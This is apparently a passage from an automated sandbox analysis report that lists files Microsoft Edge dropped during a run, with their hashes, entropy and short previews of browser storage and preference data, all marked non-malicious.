Preview:	&.4I7................VERSION.1..META:https://ntp.msn.com..............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":717}.!_https://ntp.msn.com..LastKnownPV..1730259280146.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730259281529.._https://ntp.msn.com..MUID!.39831A78EF4B6A0708630F50EE1C6BA7./_https://ntp.msn.com..NOTIFICATION_CACHE_LS_KEY...{"notificationLastRequestTimestamp":{"count":1730259283591,"notifications":0},"notificationBellCacheData":{"count":4,"notifications":[]}}.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730259280248,"schedule":[30,22,-1,9,-1,-1,-1],"scheduleFixed":[30,22,-1,9,-1,-1,-1],"simpleSchedule":[33,28,35,25,43,15,36]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730259280115.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.162724821858939
Encrypted:	false
SSDEEP:	6:ejrAQ+q2PN723oH+Tcwt8a2jMGIFUt8FjUtgZmw+FQj4AQVkwON723oH+Tcwt8as:eYvVaYeb8EFUt8F4q/+FQj25OaYeb8bJ
MD5:	3C94DD7AF057CCCBA6F962F31109B5FC
SHA1:	36CECF808932595DFC8F6B21AB3E02BB3B1AB2A3
SHA-256:	CD95017C8E26CFF870D5C0208A5951BF86CB745363889FA87C96B911B624B7BB
SHA-512:	B900C56AC234BB93AD5AB152FD05F775B0CC50948C12BF73AA877C9484AD6865D5F9DEB376F1FF5A0C4F2D339527DC51228734977A41C82BD12EA176DB71A859
Malicious:	false
Preview:	2024/10/29-23:34:28.986 b38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/29-23:34:28.991 b38 Recovering log #3.2024/10/29-23:34:29.044 b38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.162724821858939
Encrypted:	false
SSDEEP:	6:ejrAQ+q2PN723oH+Tcwt8a2jMGIFUt8FjUtgZmw+FQj4AQVkwON723oH+Tcwt8as:eYvVaYeb8EFUt8F4q/+FQj25OaYeb8bJ
MD5:	3C94DD7AF057CCCBA6F962F31109B5FC
SHA1:	36CECF808932595DFC8F6B21AB3E02BB3B1AB2A3
SHA-256:	CD95017C8E26CFF870D5C0208A5951BF86CB745363889FA87C96B911B624B7BB
SHA-512:	B900C56AC234BB93AD5AB152FD05F775B0CC50948C12BF73AA877C9484AD6865D5F9DEB376F1FF5A0C4F2D339527DC51228734977A41C82BD12EA176DB71A859
Malicious:	false
Preview:	2024/10/29-23:34:28.986 b38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/29-23:34:28.991 b38 Recovering log #3.2024/10/29-23:34:29.044 b38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\12c3a6c6-8fae-4904-b0ab-9937dfd302c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3488b69a-dbd6-480d-914c-065ac35ec26e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3bbff737-fee1-4f86-8c03-01c1324bf772.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	5.2980579746941
Encrypted:	false
SSDEEP:	48:YcCpfgCzsFCtsFKfc7kBRsFbJCgHEswCgHSYhbj:F2fSCSK2kBs1T8T3h/
MD5:	0EB273E8CCE388A414088826375E421B
SHA1:	D9066A96B8A983BD93BD433F459D7C5123A9D017
SHA-256:	53A8DD9BAC6AC00A4742B762DD9D88BB294D179F8B83C7B29C0A4855DB1D58C7
SHA-512:	B542E3BB644009CF1BFF9D75624FEEB1DB902DFF099882F91D55A6E6232A9150C18880AE53B550D0990B38EC36A23B0A3D0230515D5D7339234E8CA62BFE465D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377324870655540","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377324874921425","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7e7c4381-19ed-4df1-9930-be7dfee9487e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 7, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.306793441187474
Encrypted:	false
SSDEEP:	192:nPjBGH0B/zbl0fOVUhzS5n5EJqbHyxg0gbld3hzG5g:PjoH0B7bl0fOgzSB5EJqbH+g0wQK
MD5:	18A759B5B70C218E91956BCF56D7F426
SHA1:	2E9742125744104F203121AF528AB8AC8E5A8D36
SHA-256:	0FC0373C13555FCEB94DB60496F5921F2077BD1BAD1DBD74EA1D95099B1FB722
SHA-512:	39776AA30E1CBA689F05F424AA6DA4CE1D4339A45F39D0705EF367F1B668271701820E697B1E0418B7BF765E3C3F4E793D80A4B64B74B36705193692247EC229
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4c792.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.634525578389254
Encrypted:	false
SSDEEP:	96:ifIEumQv8m1ccnvS62FVhmoIUaOSF8Zscmy1a:ifIEumQv8m1ccnvS6UEoNabF8fmx
MD5:	6E2480F01AE71364C96EF2408E10769D
SHA1:	EB0D9B2C183DCF0C944458EFB141595CFD3596CA
SHA-256:	D1FC4780C1ABB5FEFFBB71CD72FBE0FB3865DE42C8A0F42188AA88AB1A3556CB
SHA-512:	7D35FE024C2271BAAB4F297FCDD9CEAAF720337C723449C8C80468FDB4EA25E992D68480E21F079E780D9DB82ED56068E9090EF827D737609A2D6FFB9E1190C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b77a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ca46.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ce3e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a48f4126-e4d6-45fa-88b2-29d078f62188.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\aa7d496d-d6be-4e89-b5b0-90b850d4d0a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\bd7e206a-07fe-44e4-a80f-a18f01e7b8b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9676
Entropy (8bit):	5.1066367174854035
Encrypted:	false
SSDEEP:	192:stqkdpDs0/aFvrE9kQmw8HbV+FP31QAbU+PFYJ:stqQDs0/CDZbG9Q1F
MD5:	F789F99528AAF8A672991E8960071C1B
SHA1:	BEEE464362ECE846B60CC894857A4B7DFECB78A1
SHA-256:	8CEF1C8EB0AD24576F4BEA41AAAA109F64D62559F03BA941DBB89E82B98BA9CA
SHA-512:	29D86AC38AF054E07B81C96806364DD54116A4AF2512DFEE65C96B009B6FAC9EACFCBA213DEB7560769AF00D4A2E24FE725CD925E3C649A8FD18F4A27DA92E75
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374732868695268","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f3b8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9676
Entropy (8bit):	5.1066367174854035
Encrypted:	false
SSDEEP:	192:stqkdpDs0/aFvrE9kQmw8HbV+FP31QAbU+PFYJ:stqQDs0/CDZbG9Q1F
MD5:	F789F99528AAF8A672991E8960071C1B
SHA1:	BEEE464362ECE846B60CC894857A4B7DFECB78A1
SHA-256:	8CEF1C8EB0AD24576F4BEA41AAAA109F64D62559F03BA941DBB89E82B98BA9CA
SHA-512:	29D86AC38AF054E07B81C96806364DD54116A4AF2512DFEE65C96B009B6FAC9EACFCBA213DEB7560769AF00D4A2E24FE725CD925E3C649A8FD18F4A27DA92E75
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374732868695268","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43e5d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9676
Entropy (8bit):	5.1066367174854035
Encrypted:	false
SSDEEP:	192:stqkdpDs0/aFvrE9kQmw8HbV+FP31QAbU+PFYJ:stqQDs0/CDZbG9Q1F
MD5:	F789F99528AAF8A672991E8960071C1B
SHA1:	BEEE464362ECE846B60CC894857A4B7DFECB78A1
SHA-256:	8CEF1C8EB0AD24576F4BEA41AAAA109F64D62559F03BA941DBB89E82B98BA9CA
SHA-512:	29D86AC38AF054E07B81C96806364DD54116A4AF2512DFEE65C96B009B6FAC9EACFCBA213DEB7560769AF00D4A2E24FE725CD925E3C649A8FD18F4A27DA92E75
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374732868695268","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b39d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9676
Entropy (8bit):	5.1066367174854035
Encrypted:	false
SSDEEP:	192:stqkdpDs0/aFvrE9kQmw8HbV+FP31QAbU+PFYJ:stqQDs0/CDZbG9Q1F
MD5:	F789F99528AAF8A672991E8960071C1B
SHA1:	BEEE464362ECE846B60CC894857A4B7DFECB78A1
SHA-256:	8CEF1C8EB0AD24576F4BEA41AAAA109F64D62559F03BA941DBB89E82B98BA9CA
SHA-512:	29D86AC38AF054E07B81C96806364DD54116A4AF2512DFEE65C96B009B6FAC9EACFCBA213DEB7560769AF00D4A2E24FE725CD925E3C649A8FD18F4A27DA92E75
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374732868695268","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

